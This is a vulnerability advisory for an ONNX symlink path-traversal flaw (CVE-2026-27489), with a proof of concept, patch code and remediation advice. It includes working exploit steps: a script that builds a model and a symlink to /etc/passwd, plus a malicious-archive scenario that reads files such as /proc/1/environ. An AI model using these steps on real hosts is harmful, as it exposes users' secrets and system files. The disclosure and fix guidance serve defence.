CVE-2026-27489: ONNX: Path Traversal via Symlink
Summary A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.
Details The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033
std::filesystem::isregularfile performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.
PoC
python Create a demo model with external data import os import numpy as np import onnx from onnx import helper, TensorProto, numpyhelper
def createonnxmodel(outputpath="model.onnx"): weightmatrix = np.random.randn(1000, 1000).astype(np.float32)
X = helper.maketensorvalueinfo("X", TensorProto.FLOAT, [1, 1000]) Y = helper.maketensorvalueinfo("Y", TensorProto.FLOAT, [1, 1000]) W = numpyhelper.fromarray(weightmatrix, name="W")
matmulnode = helper.makenode("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
graph = helper.makegraph( nodes=[matmulnode], name="SimpleModel", inputs=[X], outputs=[Y], initializer=[W] )
model = helper.makemodel(graph, opsetimports=[helper.makeopsetid("", 11)]) onnx.checker.checkmodel(model)
datafile = outputpath.replace('.onnx', '.data')
if os.path.exists(outputpath): os.remove(outputpath) if os.path.exists(datafile): os.remove(datafile)
onnx.savemodel( model, outputpath, saveasexternaldata=True, alltensorstoonefile=True, location=os.path.basename(datafile), sizethreshold=1024 1024 )
if name == "main": createonnxmodel("model.onnx")
1. Run the above code to generate a sample model with external data. 2. Remove model.data 3. Run ln -s /etc/passwd model.data 4. Load the model using the following code 5. Observe check for symlink is bypassed and model is succesfuly loaded
python import onnx from onnx.externaldatahelper import loadexternaldataformodel
def loadonnxmodelbasic(modelpath="model.onnx"): model = onnx.load(modelpath) return model
def loadonnxmodelexplicit(modelpath="model.onnx"): model = onnx.load(modelpath, loadexternaldata=False) loadexternaldataformodel(model, ".") return model
if name == "main": model = loadonnxmodelbasic("model.onnx")
A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.
Impact
Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.
NOTE: this issue is not limited to UNIX.
Sample patch
c #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <errno.h>
int openexternalfilenosymlink(const char basedir, const char relativepath) { int dirfd = -1; int fd = -1; struct stat st;
// Open base directory dirfd = open(basedir, ORDONLY | ODIRECTORY); if (dirfd < 0) { return -1; }
// Open the target relative to basedir // ONOFOLLOW => fail if final path component is a symlink fd = openat(dirfd, relativepath, ORDONLY | ONOFOLLOW); close(dirfd);
if (fd < 0) { // ELOOP is the typical error if a symlink is encountered return -1; }
// Inspect the opened file if (fstat(fd, &st) != 0) { close(fd); return -1; }
// Enforce "regular file only" if (!SISREG(st.stmode)) { close(fd); errno = EINVAL; return -1; }
// fd is now: // - not a symlink // - not a directory // - not a device / FIFO / socket // - race-safe return fd; }
Resources
https://cwe.mitre.org/data/definitions/61.html https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172 https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368
Other sources
Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/onnxto a version that resolves this vulnerability.Fixed in 1.21.0 - Upgrade
Upgrade
onnxto a version that resolves this vulnerability.Fixed in 1.21.0 - Configuration
When opening the external data file relative to a base directory, open it using openat(dirfd, relative_path, O_RDONLY | O_NOFOLLOW) so the final path component cannot be a symlink.
C/C++ file handling (external data open routine) openat flags = O_RDONLY | O_NOFOLLOW - Configuration
Avoid relying on std::filesystem::is_regular_file for security because it performs a status(p) call that follows symbolic links; instead enforce checks on the opened file descriptor (e.g., fstat on the opened fd) to ensure the opened file is a regular file.
C/C++ file type check std::filesystem::is_regular_file usage = Do not use std::filesystem::is_regular_file on a path string that may include symlinks